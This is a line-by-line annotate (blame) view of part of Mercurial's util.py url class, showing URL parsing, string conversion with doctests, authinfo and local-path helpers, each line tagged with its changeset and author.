formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3086 self.user, self.passwd = self.user.split(b':', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3087 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3088 self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3089 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3090 # Don't split on colons in IPv6 addresses without ports |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3091 if ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3092 self.host |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3093 and b':' in self.host |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3094 and not ( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3095 self.host.startswith(b'[') and self.host.endswith(b']') |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3096 ) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3097 ): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3098 self._hostport = self.host |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3099 self.host, self.port = self.host.rsplit(b':', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3100 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3101 self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3102 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3103 if ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3104 self.host |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3105 and self.scheme == b'file' |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3106 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3107 ): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3108 raise error.Abort( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3109 _(b'file:// URLs can only refer to localhost') |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3110 ) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3111 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3112 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3113 |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3114 # leave the query string escaped |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3115 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3116 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3117 if v is not None: |
31567
4ebecf331d7d
util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31541
diff
changeset
|
3118 setattr(self, a, urlreq.unquote(v)) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3119 |
34072
30535fe47e78
py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents:
34052
diff
changeset
|
3120 @encoding.strmethod |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3121 def __repr__(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3122 attrs = [] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3123 for a in ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3124 b'scheme', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3125 b'user', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3126 b'passwd', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3127 b'host', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3128 b'port', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3129 b'path', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3130 b'query', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3131 b'fragment', |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3132 ): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3133 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3134 if v is not None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3135 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3136 return b'<url %s>' % b', '.join(attrs) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3137 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
3138 def __bytes__(self): |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
3139 r"""Join the URL's components back into a URL string. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3140 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3141 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3142 |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3143 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
15452
de7e2fba4326
util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents:
15392
diff
changeset
|
3144 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3145 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3146 'http://user:pw@host:80/?foo=bar&baz=42' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3147 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3148 'http://user:pw@host:80/?foo=bar%3dbaz' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3149 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3150 'ssh://user:pw@[::1]:2200//home/joe#' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3151 >>> bytes(url(b'http://localhost:80//')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3152 'http://localhost:80//' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3153 >>> bytes(url(b'http://localhost:80/')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3154 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3155 >>> bytes(url(b'http://localhost:80')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3156 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3157 >>> bytes(url(b'bundle:foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3158 'bundle:foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3159 >>> bytes(url(b'bundle://../foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3160 'bundle:../foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3161 >>> bytes(url(b'path')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3162 'path' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3163 >>> bytes(url(b'file:///tmp/foo/bar')) |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
3164 'file:///tmp/foo/bar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3165 >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
15611 | 3166 'file:///c:/tmp/foo/bar' |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
3167 >>> print(url(br'bundle:foo\bar')) |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
3168 bundle:foo\bar |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
3169 >>> print(url(br'file:///D:\data\hg')) |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
3170 file:///D:\data\hg |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3171 """ |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3172 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3173 s = self.path |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3174 if self.scheme == b'bundle': |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3175 s = b'bundle:' + s |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3176 if self.fragment: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3177 s += b'#' + self.fragment |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3178 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3179 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3180 s = self.scheme + b':' |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
3181 if self.user or self.passwd or self.host: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3182 s += b'//' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3183 elif self.scheme and ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3184 not self.path |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3185 or self.path.startswith(b'/') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3186 or hasdriveletter(self.path) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3187 ): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3188 s += b'//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
3189 if hasdriveletter(self.path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3190 s += b'/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3191 if self.user: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
3192 s += urlreq.quote(self.user, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3193 if self.passwd: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3194 s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3195 if self.user or self.passwd: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3196 s += b'@' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3197 if self.host: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3198 if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
3199 s += urlreq.quote(self.host) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3200 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3201 s += self.host |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3202 if self.port: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3203 s += b':' + urlreq.quote(self.port) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3204 if self.host: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3205 s += b'/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3206 if self.path: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3207 # TODO: similar to the query string, we should not unescape the |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3208 # path when we store it, the path might contain '%2f' = '/', |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3209 # which we should *not* escape. |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
3210 s += urlreq.quote(self.path, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3211 if self.query: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3212 # we store the query in escaped form. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3213 s += b'?' + self.query |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3214 if self.fragment is not None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3215 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3216 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3217 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
3218 __str__ = encoding.strmethod(__bytes__) |
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
3219 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3220 def authinfo(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3221 user, passwd = self.user, self.passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3222 try: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3223 self.user, self.passwd = None, None |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
3224 s = bytes(self) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3225 finally: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3226 self.user, self.passwd = user, passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3227 if not self.user: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3228 return (s, None) |
15028
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3229 # authinfo[1] is passed to urllib2 password manager, and its |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3230 # URIs must not contain credentials. The host is passed in the |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3231 # URIs list because Python < 2.4.3 uses only that to search for |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3232 # a password. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3233 return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3234 |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3235 def isabs(self): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3236 if self.scheme and self.scheme != b'file': |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3237 return True # remote URL |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3238 if hasdriveletter(self.path): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3239 return True # absolute for our purposes - can't be joined() |
33096
d9962854a4a2
py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
33094
diff
changeset
|
3240 if self.path.startswith(br'\\'): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3241 return True # Windows UNC path |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3242 if self.path.startswith(b'/'): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3243 return True # POSIX-style |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3244 return False |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3245 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3246 def localpath(self): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3247 if self.scheme == b'file' or self.scheme == b'bundle': |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3248 path = self.path or b'/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3249 # For Windows, we need to promote hosts containing drive |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3250 # letters to paths with drive letters. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3251 if hasdriveletter(self._hostport): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3252 path = self._hostport + b'/' + self.path |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3253 elif ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3254 self.host is not None and self.path and not hasdriveletter(path) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3255 ): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3256 path = b'/' + path |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3257 return path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3258 return self._origpath |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3259 |
20353
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3260 def islocal(self): |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3261 '''whether localpath will return something that posixfile can open''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3262 return ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3263 not self.scheme |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3264 or self.scheme == b'file' |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3265 or self.scheme == b'bundle' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3266 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3267 |
20353
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
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|
3268 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
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diff
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|
3269 def hasscheme(path): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
3270 return bool(url(path).scheme) |
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url: move URL parsing functions into util to improve startup time
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parents:
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diff
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|
3271 |
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diff
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|
3272 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
3273 def hasdriveletter(path): |
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parents:
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diff
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|
3274 return path and path[1:2] == b':' and path[0:1].isalpha() |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
